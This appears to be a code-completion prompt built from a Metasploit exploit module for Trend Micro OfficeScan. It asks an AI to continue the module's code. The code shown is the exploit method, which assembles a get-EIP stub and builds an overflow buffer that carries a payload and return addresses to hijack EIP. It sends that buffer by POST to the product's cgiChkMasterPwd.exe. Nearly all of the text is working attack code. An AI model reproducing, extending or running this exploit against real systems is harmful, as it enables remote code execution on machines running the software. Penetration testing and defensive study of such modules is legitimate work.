You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: trendmicro_officescan.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This modu
    
  def exploit
    geip_src = "
      push esi
      push esp
      pop eax
      xor esi, [eax]
      push esi
      pop eax
      xor eax, got_eip
      push eax
      pop ecx
      got_eip:
    "

    sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)

    sc.base_addr = target['Rets'][0]
    get_eip = sc.encode_string

    pat = Rex::Text.rand_text_alphanumeric(1016)

    pat[0, get_eip.length] = get_eip
    pat[14, payload.encoded.length] = payload.encoded
    pat[512, 4] = [target['Rets'][1]].pack('V')    # string pointer (to prevent a crash)
    pat[524, 4] = [target['Rets'][0]].pack('V')    # sets EIP to the address where the shellcode has been copied
    pat[540, 4] = [target['Rets'][0]-1].pack('V')  # shellcode will be copied at this address (+1)

    data = "TMlogonEncrypted=!CRYPT!" + pat
    len = sprintf("%u", data.length);

    print_status("Trying target address 0x%.8x..." % target['Rets'][0])

    res = send_request_cgi({
      'uri'          => '/officescan/console/cgi/cgiChkMasterPwd.exe',
      'method'       => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'data'         => data,
    }, 5)

    handler
